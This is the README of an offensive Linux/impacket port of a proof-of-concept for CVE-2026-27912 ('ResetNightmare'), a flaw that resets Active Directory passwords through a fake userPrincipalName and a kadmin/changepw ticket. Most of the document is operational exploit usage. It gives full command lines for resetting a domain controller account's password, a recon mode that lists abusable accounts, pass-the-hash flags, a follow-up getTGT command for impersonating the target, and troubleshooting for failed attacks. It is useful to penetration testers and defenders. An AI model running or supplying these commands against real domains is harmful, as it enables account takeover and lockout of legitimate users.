
CVE-2026-27912 (ResetNightmare) — Linux/impacket port of Semperis Community's Invoke-ResetNightmare PoC
Linux / impacket tooling for CVE-2026-27912 ("ResetNightmare"). Resets a target
Active Directory account's password by requesting a kadmin/changepw TGT for an
NT_ENTERPRISE principal whose name is the target's sAMAccountName, using an
account (UPNUser) on which we can write a fake userPrincipalName.
Python port of the Semperis Community Invoke-ResetNightmare
PowerShell tool (see Credits).
For authorized security testing and educational use only. This tool changes real Active Directory credentials and can lock accounts out.
GenericAll, set its password, enable it.sAMAccountName.UPNUser.userPrincipalName = <targetSAN> (the fake UPN).NT_ENTERPRISE '<targetSAN>' for kadmin/changepw — the KDC maps the
enterprise UPN to the target and issues a change-password TGT for it.python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Operator credentials are the first positional argument: [domain/]username[:password].
Any password may be omitted and you'll be prompted for it.
Recon — what can this account abuse? Reports accounts you can write a UPN on, OUs you can create objects in, and the MachineAccountQuota, with suggested commands:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Reset a target using an account you can write a UPN on:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Create the UPN account first (needs Create Child on the OU, and LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Add -debug for verbose AS-REQ / LDAP / kpasswd logging.
Passwords are prompted for interactively when omitted.
--create-new-path failures:
Notes:
unicodePwd writes over TLS, so
--create-new-path needs it. Use --no-ssl only for read/UPN-only paths.--find reports only allow ACEs granted to you or your groups (plus object
ownership and MachineAccountQuota); deny ACEs and cross-domain memberships aren't
fully evaluated. An empty result is not proof there's no path — verify before use.The tool prints a follow-up to obtain a usable ticket as the target:
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'
Invoke-ResetNightmare PowerShell tool this project ports.ldaptypes primitives.Independent community port; not affiliated with or endorsed by Semperis.
MIT © 2026 mihat2.
| Flag | Meaning |
|---|
<positional> | Operator creds: [domain/]username[:password] |
--target-account | sAMAccountName to reset (computer accounts end with $) |
--target-new-password | New password to set on the target |
--upn-user | Account to write the fake UPN on (or create with --create-new-path) |
--upn-user-password | Cleartext password of --upn-user |
--computer | Treat --upn-user as a machine account |
--create-new-path <DN> | OU/Container to create --upn-user in first (needs LDAPS) |
--find | Recon: report abusable accounts/OUs + suggested commands, then exit |
--list-ous | List OUs/containers and exit (pick a valid --create-new-path) |
--aes-key <hex> | AES key of --upn-user for the AS-REQ instead of a password |
--upn-user-hash <NT> | NT hash (or LM:NT) of --upn-user for the AS-REQ instead of a password |
-k, --kerberos | Kerberos (SASL/GSSAPI) LDAP bind (uses KRB5CCNAME) |
-H LM:NT | Pass-the-hash LDAP (NTLM) bind |
--no-pass | Don't prompt for a password (use -k / KRB5CCNAME) |
--dc-host | DC hostname/FQDN (for Kerberos SPNs) |
--dc-ip | DC IP address |
--no-ssl | Plain LDAP/389 (incompatible with --create-new-path) |
--supported-encryption | Preferred enctype, informational (default aes256) |
-debug | Verbose logging |
| Symptom | Cause | Fix |
|---|
result 50, insufficientAccessRights | The OU exists but you have no Create Child right on it. | Use an OU you can write to (--list-ous / --find), or drop --create-new-path and abuse an existing account via --upn-user. |
result 32, noSuchObject — best match: DC=corp,DC=local | The DN's parent chain doesn't exist (partial/guessed DN). | Enumerate with --list-ous and paste the full nested DN. OUs are nested; a name alone isn't its path. |
result 53, unwillingToPerform on the password step | unicodePwd write over a non-TLS channel, or a weak password vs. policy. | Keep LDAPS (don't pass --no-ssl); use a compliant password. |